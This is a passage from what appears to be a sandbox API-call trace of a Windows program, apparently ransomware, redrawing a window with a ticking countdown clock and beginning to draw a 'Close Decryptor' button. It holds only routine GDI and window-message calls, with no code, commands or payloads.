(in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:11") returned 8 [0169.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0169.583] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0169.583] GdipCreateRegion (region=0x19e780) returned 0x0 [0169.583] GdipGetClip (graphics=0x6923518, region=0x69237f8) returned 0x0 [0169.583] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0169.583] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6915f08) returned 0x0 [0169.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0169.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0169.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0169.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0169.583] GdipCombineRegionRegion (region=0x69237f8, region2=0x69207c0, combineMode=0x1) returned 0x0 [0169.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0169.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0169.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0169.583] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0169.583] GdipIsInfiniteRegion (region=0x69237f8, graphics=0x6923518, result=0x19e7c0) returned 0x0 [0169.583] GdipIsInfiniteRegion (region=0x69237f8, graphics=0x6923518, result=0x19e7b0) returned 0x0 [0169.583] GdipGetRegionHRgn (region=0x69237f8, graphics=0x6923518, hRgn=0x19e7b0) returned 0x0 [0169.584] GdipDeleteRegion (region=0x69237f8) returned 0x0 [0169.584] GdipGetDC (graphics=0x6923518, hdc=0x19e7c8) returned 0x0 [0169.584] GetCurrentObject (hdc=0x11010742, type=0x1) returned 0xb00017 [0169.584] GetCurrentObject (hdc=0x11010742, type=0x2) returned 0x900010 [0169.584] GetCurrentObject (hdc=0x11010742, type=0x7) returned 0x8050721 [0169.584] GetCurrentObject (hdc=0x11010742, type=0x6) returned 0x8a01c2 [0169.584] SaveDC (hdc=0x11010742) returned 1 [0169.584] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xea0406fe [0169.584] GetClipRgn (hdc=0x11010742, hrgn=0xea0406fe) returned 0 [0169.584] SelectClipRgn (hdc=0x11010742, hrgn=0x2604070e) returned 2 [0169.584] DeleteObject (ho=0xea0406fe) returned 1 [0169.584] DeleteObject (ho=0x2604070e) returned 1 [0169.584] OffsetViewportOrgEx (in: hdc=0x11010742, x=0, y=0, lppt=0x306106c | out: lppt=0x306106c) returned 1 [0169.584] GetNearestColor (hdc=0x11010742, color=0x22a3f8) returned 0x22a3f8 [0169.584] CreateSolidBrush (color=0x22a3f8) returned 0x3610073a [0169.584] FillRect (hDC=0x11010742, lprc=0x19e7cc, hbr=0x3610073a) returned 1 [0169.584] DeleteObject (ho=0x3610073a) returned 1 [0169.584] RestoreDC (hdc=0x11010742, nSavedDC=-1) returned 1 [0169.584] GdipReleaseDC (graphics=0x6923518, hdc=0x11010742) returned 0x0 [0169.584] GdipRestoreGraphics (graphics=0x6923518, state=0xfd1b0dbd) returned 0x0 [0169.584] GdipDeleteRegion (region=0x69207c0) returned 0x0 [0169.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0169.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0169.584] GetSystemMetrics (nIndex=42) returned 0 [0169.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:11") returned 8 [0169.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0169.585] GdipGetDC (graphics=0x6923518, hdc=0x19e7e8) returned 0x0 [0169.585] GetCurrentObject (hdc=0x11010742, type=0x1) returned 0xb00017 [0169.585] GetCurrentObject (hdc=0x11010742, type=0x2) returned 0x900010 [0169.585] GetCurrentObject (hdc=0x11010742, type=0x7) returned 0x8050721 [0169.585] GetCurrentObject (hdc=0x11010742, type=0x6) returned 0x8a01c2 [0169.585] SaveDC (hdc=0x11010742) returned 1 [0169.585] GetNearestColor (hdc=0x11010742, color=0x0) returned 0x0 [0169.585] RestoreDC (hdc=0x11010742, nSavedDC=-1) returned 1 [0169.585] GdipReleaseDC (graphics=0x6923518, hdc=0x11010742) returned 0x0 [0169.585] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0169.585] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0169.585] GdipGetTextRenderingHint (graphics=0x6923518, mode=0x19e788) returned 0x0 [0169.585] GdipGetDC (graphics=0x6923518, hdc=0x19e774) returned 0x0 [0169.585] GetCurrentObject (hdc=0x11010742, type=0x1) returned 0xb00017 [0169.585] GetCurrentObject (hdc=0x11010742, type=0x2) returned 0x900010 [0169.585] GetCurrentObject (hdc=0x11010742, type=0x7) returned 0x8050721 [0169.586] GetCurrentObject (hdc=0x11010742, type=0x6) returned 0x8a01c2 [0169.586] SaveDC (hdc=0x11010742) returned 1 [0169.586] GetTextAlign (hdc=0x11010742) returned 0x0 [0169.586] GetTextColor (hdc=0x11010742) returned 0x0 [0169.586] GetCurrentObject (hdc=0x11010742, type=0x6) returned 0x8a01c2 [0169.586] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0169.586] SelectObject (hdc=0x11010742, h=0x4f0a0711) returned 0x8a01c2 [0169.586] GetBkMode (hdc=0x11010742) returned 2 [0169.586] SetBkMode (hdc=0x11010742, mode=1) returned 2 [0169.586] DrawTextExW (in: hdc=0x11010742, lpchText="06:58:11", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3061500 | out: lpchText="06:58:11", lprc=0x19e708) returned 50 [0169.586] RestoreDC (hdc=0x11010742, nSavedDC=-1) returned 1 [0169.586] GdipReleaseDC (graphics=0x6923518, hdc=0x11010742) returned 0x0 [0169.586] GdipGetDC (graphics=0x6923518, hdc=0x19e924) returned 0x0 [0169.586] BitBlt (hdc=0x60100ce, x=0, y=0, cx=154, cy=50, hdcSrc=0x11010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.587] GdipReleaseDC (graphics=0x6923518, hdc=0x11010742) returned 0x0 [0169.587] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0169.587] SelectObject (hdc=0x11010742, h=0x85000f) returned 0x8050721 [0169.587] DeleteDC (hdc=0x11010742) returned 1 [0169.587] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0169.587] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0169.587] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0169.587] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0169.587] WaitMessage () returned 1 [0170.674] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.674] IsWindowUnicode (hWnd=0x50074) returned 1 [0170.674] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.674] TranslateMessage (lpMsg=0x19ee78) returned 0 [0170.674] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0170.674] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0170.674] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0170.674] GetSystemMetrics (nIndex=42) returned 0 [0170.674] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:11") returned 8 [0170.674] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0170.675] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0170.675] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0170.675] GetSystemMetrics (nIndex=42) returned 0 [0170.675] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:11") returned 8 [0170.675] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0170.675] SetWindowTextW (hWnd=0x20236, lpString="06:58:12") returned 1 [0170.675] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x30615a4) returned 0x1 [0170.675] GetStockObject (i=5) returned 0x900015 [0170.675] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0170.675] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0170.675] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0170.675] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0170.675] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0170.675] GetSystemMetrics (nIndex=42) returned 0 [0170.675] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:12") returned 8 [0170.675] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0170.676] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0170.676] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0170.676] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:12", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3061778 | out: lpchText="06:58:12", lprc=0x19e938) returned 50 [0170.676] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0170.676] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0170.676] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.676] GetSystemMetrics (nIndex=42) returned 0 [0170.676] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0170.676] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0170.676] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.676] IsWindowUnicode (hWnd=0x20236) returned 1 [0170.676] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.676] TranslateMessage (lpMsg=0x19ee78) returned 0 [0170.676] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0170.676] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0170.677] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0170.677] CreateCompatibleDC (hdc=0x60100ce) returned 0x12010742 [0170.677] SelectObject (hdc=0x12010742, h=0x8050721) returned 0x85000f [0170.677] GdipCreateFromHDC (hdc=0x12010742, graphics=0x19e8e4) returned 0x0 [0170.677] GdipTranslateWorldTransform (graphics=0x6923518, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0170.677] GdipSetClipRectI (graphics=0x6923518, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0170.677] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0170.677] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6920790) returned 0x0 [0170.677] GdipIsMatrixIdentity (matrix=0x6920790, result=0x19e944) returned 0x0 [0170.677] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0170.677] GdipGetMatrixElements (matrix=0x6920790, matrixOut=0xf75c20) returned 0x0 [0170.677] LocalFree (hMem=0xf75c20) returned 0x0 [0170.677] GdipDeleteMatrix (matrix=0x6920790) returned 0x0 [0170.677] GdipCreateRegion (region=0x19e92c) returned 0x0 [0170.677] GdipGetClip (graphics=0x6923518, region=0x69207c0) returned 0x0 [0170.677] GdipIsInfiniteRegion (region=0x69207c0, graphics=0x6923518, result=0x19e938) returned 0x0 [0170.677] GdipSaveGraphics (graphics=0x6923518, state=0x19e964) returned 0x0 [0170.677] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0170.678] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0170.678] GetSystemMetrics (nIndex=42) returned 0 [0170.678] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:12") returned 8 [0170.678] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0170.678] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0170.678] GdipCreateRegion (region=0x19e780) returned 0x0 [0170.678] GdipGetClip (graphics=0x6923518, region=0x69237f8) returned 0x0 [0170.678] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0170.678] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6915f08) returned 0x0 [0170.678] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0170.678] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0170.678] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0170.678] LocalFree (hMem=0xf75bb0) returned 0x0 [0170.678] GdipCombineRegionRegion (region=0x69237f8, region2=0x69207c0, combineMode=0x1) returned 0x0 [0170.678] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0170.678] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0170.678] LocalFree (hMem=0xf75c20) returned 0x0 [0170.678] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0170.678] GdipIsInfiniteRegion (region=0x69237f8, graphics=0x6923518, result=0x19e7c0) returned 0x0 [0170.678] GdipIsInfiniteRegion (region=0x69237f8, graphics=0x6923518, result=0x19e7b0) returned 0x0 [0170.678] GdipGetRegionHRgn (region=0x69237f8, graphics=0x6923518, hRgn=0x19e7b0) returned 0x0 [0170.678] GdipDeleteRegion (region=0x69237f8) returned 0x0 [0170.678] GdipGetDC (graphics=0x6923518, hdc=0x19e7c8) returned 0x0 [0170.678] GetCurrentObject (hdc=0x12010742, type=0x1) returned 0xb00017 [0170.678] GetCurrentObject (hdc=0x12010742, type=0x2) returned 0x900010 [0170.678] GetCurrentObject (hdc=0x12010742, type=0x7) returned 0x8050721 [0170.678] GetCurrentObject (hdc=0x12010742, type=0x6) returned 0x8a01c2 [0170.679] GdipReleaseDC (graphics=0x6923518, hdc=0x12010742) returned 0x0 [0170.679] GdipRestoreGraphics (graphics=0x6923518, state=0xfd190dbd) returned 0x0 [0170.679] GdipDeleteRegion (region=0x69207c0) returned 0x0 [0170.679] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0170.679] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0170.679] GetSystemMetrics (nIndex=42) returned 0 [0170.679] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:12") returned 8 [0170.679] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0170.679] GdipGetDC (graphics=0x6923518, hdc=0x19e7e8) returned 0x0 [0170.679] GetCurrentObject (hdc=0x12010742, type=0x1) returned 0xb00017 [0170.679] GetCurrentObject (hdc=0x12010742, type=0x2) returned 0x900010 [0170.679] GetCurrentObject (hdc=0x12010742, type=0x7) returned 0x8050721 [0170.679] GetCurrentObject (hdc=0x12010742, type=0x6) returned 0x8a01c2 [0170.679] SaveDC (hdc=0x12010742) returned 1 [0170.679] GetNearestColor (hdc=0x12010742, color=0x0) returned 0x0 [0170.679] RestoreDC (hdc=0x12010742, nSavedDC=-1) returned 1 [0170.680] GdipReleaseDC (graphics=0x6923518, hdc=0x12010742) returned 0x0 [0170.680] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.680] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0170.680] GdipGetTextRenderingHint (graphics=0x6923518, mode=0x19e788) returned 0x0 [0170.680] GdipGetDC (graphics=0x6923518, hdc=0x19e774) returned 0x0 [0170.680] GetCurrentObject (hdc=0x12010742, type=0x1) returned 0xb00017 [0170.680] GetCurrentObject (hdc=0x12010742, type=0x2) returned 0x900010 [0170.680] GetCurrentObject (hdc=0x12010742, type=0x7) returned 0x8050721 [0170.680] GetCurrentObject (hdc=0x12010742, type=0x6) returned 0x8a01c2 [0170.680] SaveDC (hdc=0x12010742) returned 1 [0170.680] GetTextAlign (hdc=0x12010742) returned 0x0 [0170.680] GetTextColor (hdc=0x12010742) returned 0x0 [0170.680] GetCurrentObject (hdc=0x12010742, type=0x6) returned 0x8a01c2 [0170.680] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0170.680] SelectObject (hdc=0x12010742, h=0x4f0a0711) returned 0x8a01c2 [0170.681] GetBkMode (hdc=0x12010742) returned 2 [0170.681] SetBkMode (hdc=0x12010742, mode=1) returned 2 [0170.681] DrawTextExW (in: hdc=0x12010742, lpchText="06:58:12", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3061fdc | out: lpchText="06:58:12", lprc=0x19e708) returned 50 [0170.681] RestoreDC (hdc=0x12010742, nSavedDC=-1) returned 1 [0170.681] GdipReleaseDC (graphics=0x6923518, hdc=0x12010742) returned 0x0 [0170.681] GdipGetDC (graphics=0x6923518, hdc=0x19e924) returned 0x0 [0170.681] BitBlt (hdc=0x60100ce, x=0, y=0, cx=154, cy=50, hdcSrc=0x12010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.682] GdipReleaseDC (graphics=0x6923518, hdc=0x12010742) returned 0x0 [0170.682] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0170.682] SelectObject (hdc=0x12010742, h=0x85000f) returned 0x8050721 [0170.682] DeleteDC (hdc=0x12010742) returned 1 [0170.682] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0170.682] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0170.682] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0170.682] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0170.682] WaitMessage () returned 1 [0170.801] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.801] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24b0172) returned 0x1 [0170.801] IsWindowUnicode (hWnd=0x30212) returned 1 [0170.801] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.801] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24b0172) returned 0x1 [0170.801] SetCursor (hCursor=0x10003) returned 0x10003 [0170.801] TranslateMessage (lpMsg=0x19ee78) returned 0 [0170.801] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0170.801] GetKeyState (nVirtKey=1) returned 1 [0170.801] GetKeyState (nVirtKey=2) returned 0 [0170.801] GetKeyState (nVirtKey=4) returned 0 [0170.801] GetKeyState (nVirtKey=5) returned 0 [0170.801] GetKeyState (nVirtKey=6) returned 0 [0170.801] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0170.802] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0170.802] WaitMessage () returned 1 [0170.880] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.880] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24b0172) returned 0x1 [0170.880] IsWindowUnicode (hWnd=0x30212) returned 1 [0170.880] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.880] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24b0172) returned 0x1 [0170.880] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0170.880] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x1530041) returned 0x0 [0170.880] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0170.880] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1b20041) returned 0x0 [0170.881] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0170.881] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0170.881] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0170.881] SetCursor (hCursor=0x10003) returned 0x10003 [0170.881] TranslateMessage (lpMsg=0x19ee78) returned 0 [0170.881] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0170.881] GetKeyState (nVirtKey=1) returned -128 [0170.881] GetKeyState (nVirtKey=2) returned 0 [0170.881] GetKeyState (nVirtKey=4) returned 0 [0170.881] GetKeyState (nVirtKey=5) returned 0 [0170.881] GetKeyState (nVirtKey=6) returned 0 [0170.881] IsWindowVisible (hWnd=0x30212) returned 1 [0170.881] IsWindowEnabled (hWnd=0x30212) returned 1 [0170.881] SetFocus (hWnd=0x30212) returned 0x30212 [0170.881] GetFocus () returned 0x30212 [0170.881] GetFocus () returned 0x30212 [0170.881] GetFocus () returned 0x30212 [0170.882] GetKeyState (nVirtKey=1) returned -128 [0170.882] GetKeyState (nVirtKey=2) returned 0 [0170.882] GetKeyState (nVirtKey=4) returned 0 [0170.882] GetKeyState (nVirtKey=5) returned 0 [0170.882] GetKeyState (nVirtKey=6) returned 0 [0170.882] GetCapture () returned 0x0 [0170.882] SetCapture (hWnd=0x30212) returned 0x0 [0170.882] GetKeyState (nVirtKey=1) returned -128 [0170.882] GetKeyState (nVirtKey=2) returned 0 [0170.882] GetKeyState (nVirtKey=4) returned 0 [0170.882] GetKeyState (nVirtKey=5) returned 0 [0170.882] GetKeyState (nVirtKey=6) returned 0 [0170.882] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0170.882] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0170.882] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.882] IsWindowUnicode (hWnd=0x30212) returned 1 [0170.882] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0170.882] TranslateMessage (lpMsg=0x19ee78) returned 0 [0170.882] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0170.882] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x30620bc, cPoints=0x1 | out: lpPoints=0x30620bc) returned 36176186 [0170.882] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0170.883] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0170.883] UpdateWindow (hWnd=0x30212) returned 1 [0170.883] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x1b010670 [0170.883] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0170.883] CreateCompatibleDC (hdc=0x1b010670) returned 0x13010742 [0170.883] SelectObject (hdc=0x13010742, h=0x8050721) returned 0x85000f [0170.883] GdipCreateFromHDC (hdc=0x13010742, graphics=0x19e570) returned 0x0 [0170.883] GdipTranslateWorldTransform (graphics=0x6923518, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0170.883] GdipSetClipRectI (graphics=0x6923518, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0170.883] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0170.883] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6920790) returned 0x0 [0170.883] GdipIsMatrixIdentity (matrix=0x6920790, result=0x19e5d0) returned 0x0 [0170.883] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0170.883] GdipGetMatrixElements (matrix=0x6920790, matrixOut=0xf75be8) returned 0x0 [0170.883] LocalFree (hMem=0xf75be8) returned 0x0 [0170.883] GdipDeleteMatrix (matrix=0x6920790) returned 0x0 [0170.883] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0170.883] GdipGetClip (graphics=0x6923518, region=0x69207c0) returned 0x0 [0170.884] GdipIsInfiniteRegion (region=0x69207c0, graphics=0x6923518, result=0x19e5c4) returned 0x0 [0170.884] GdipSaveGraphics (graphics=0x6923518, state=0x19e5f0) returned 0x0 [0170.884] GdipRestoreGraphics (graphics=0x6923518, state=0xfd170dbd) returned 0x0 [0170.884] GdipDeleteRegion (region=0x69207c0) returned 0x0 [0170.884] GdipGetDC (graphics=0x6923518, hdc=0x19e3a0) returned 0x0 [0170.884] GetCurrentObject (hdc=0x13010742, type=0x1) returned 0xb00017 [0170.884] GetCurrentObject (hdc=0x13010742, type=0x2) returned 0x900010 [0170.884] GetCurrentObject (hdc=0x13010742, type=0x7) returned 0x8050721 [0170.884] GetCurrentObject (hdc=0x13010742, type=0x6) returned 0x8a01c2 [0170.884] SaveDC (hdc=0x13010742) returned 1 [0170.884] GetNearestColor (hdc=0x13010742, color=0x323533) returned 0x323533 [0170.884] GetNearestColor (hdc=0x13010742, color=0x111111) returned 0x111111 [0170.884] GetNearestColor (hdc=0x13010742, color=0x0) returned 0x0 [0170.884] GetNearestColor (hdc=0x13010742, color=0x868c88) returned 0x868c88 [0170.884] GetNearestColor (hdc=0x13010742, color=0x6994f5) returned 0x6994f5 [0170.884] GetNearestColor (hdc=0x13010742, color=0x969c98) returned 0x969c98 [0170.884] GetNearestColor (hdc=0x13010742, color=0x868c88) returned 0x868c88 [0170.884] GetNearestColor (hdc=0x13010742, color=0x3c3f3d) returned 0x3c3f3d [0170.884] GetNearestColor (hdc=0x13010742, color=0x6994f5) returned 0x6994f5 [0170.884] RestoreDC (hdc=0x13010742, nSavedDC=-1) returned 1 [0170.885] GdipReleaseDC (graphics=0x6923518, hdc=0x13010742) returned 0x0 [0170.885] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x4f0a0711 [0170.885] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e25c, format=0x102415, 